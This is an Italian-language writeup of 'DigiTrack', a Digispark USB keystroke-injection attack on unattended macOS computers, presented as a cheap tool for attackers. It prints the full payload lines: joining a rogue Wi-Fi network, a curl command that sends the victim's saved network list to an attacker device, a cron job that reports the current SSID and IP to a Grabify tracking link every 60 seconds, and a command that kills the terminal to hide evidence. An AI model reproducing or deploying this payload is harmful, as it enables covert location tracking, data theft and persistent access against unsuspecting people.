DigiTrack
In 30 secondi, questo attacco può scoprire a quali reti si è connesso in precedenza un computer MacOS e piantare uno script che traccia l'indirizzo IP e la rete Wi-Fi corrente ogni 60 secondi.

Ora include: Hardtracker - Digispark VPN buster per inviare l'indirizzo IP e BSSID/SSID delle reti Wi-Fi vicine su un computer MacOS a un tracker Grabify ogni 60 secondi.
Questo è un attacco da $5 che fa un paio di cose:
- Inserisce un backdoor Wi-Fi sul computer della vittima, permettendoti di catturare la connessione dati della vittima in qualsiasi momento quando sei nel raggio Wi-Fi.
- Ruba un elenco di tutte le reti a cui la vittima si è mai connessa (per tracciamento, classificazione e dirottamento della connessione dati)
- Inserisce un job di tracciamento che invia l'indirizzo IP e la rete attualmente connessa a un link Grabify ogni 60 secondi.
L'attacco procede: una vittima lascia un computer MacOS incustodito per 30 secondi. L'attaccante inserisce una scheda DigiSpark caricata con un payload di attacco. Il payload si presenta così (con ritardi e singole sequenze di tasti rimossi):
DigiKeyboard.print("networksetup -setairportnetwork en0 'sneakernet' 00000000");
- Aggiungiamo la rete "Sneakernet" alla nostra lista di reti fidate e ci connettiamo ad essa.
DigiKeyboard.print("curl -m 10 --silent --output /dev/null -X POST -H "Content-Type: text/plain" --data "$(networksetup -listpreferredwirelessnetworks en0)" 192.168.4.1 &");
- Dopo la connessione, inviamo una richiesta CURL che elenca ogni singola rete a cui il computer MacOS si è connesso in passato all'esp8266 che crea la rete "Sneakernet". Il & mette il processo in background nel caso richieda troppo tempo, e il -m imposta un timer di 10 secondi per evitare che duri troppo. Ora sappiamo a quali reti Wi-Fi la vittima si è connessa e quali reti obbligheranno il computer a connettersi senza chiedere.
DigiKeyboard.print("export VISUAL=nano; crontab -e");
- Creiamo un job che verrà eseguito ogni 60 secondi.
DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer "$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | awk '/ SSID/ {print substr($0, index($0, $2))}')" https://grabi/YOURLINK");
- Sopprimiamo l'output di CURL e catturiamo il nome della rete della connessione Wi-Fi corrente. Lo inviamo insieme a una richiesta CURL a un URL di tracciamento, consegnando l'indirizzo IP del bersaglio e la rete Wi-Fi attualmente connessa ogni 60 secondi.
DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");
- Infine, attendiamo che tutti i processi in background terminino e uccidiamo brutalmente la finestra del terminale per nascondere le prove.
Il tempo totale di esecuzione è di circa 30 secondi, senza contare i pochi secondi che il Digispark attende per il caricamento di uno sketch.
Note: Grabify potrebbe entrare in modalità "I'm under attack" e non consentire il check-in. Cerca questa riga:
div class="cf-browser-verification cf-im-under-attack"
Se la vedi, allora l'indirizzo IP viene bloccato da cloudflare.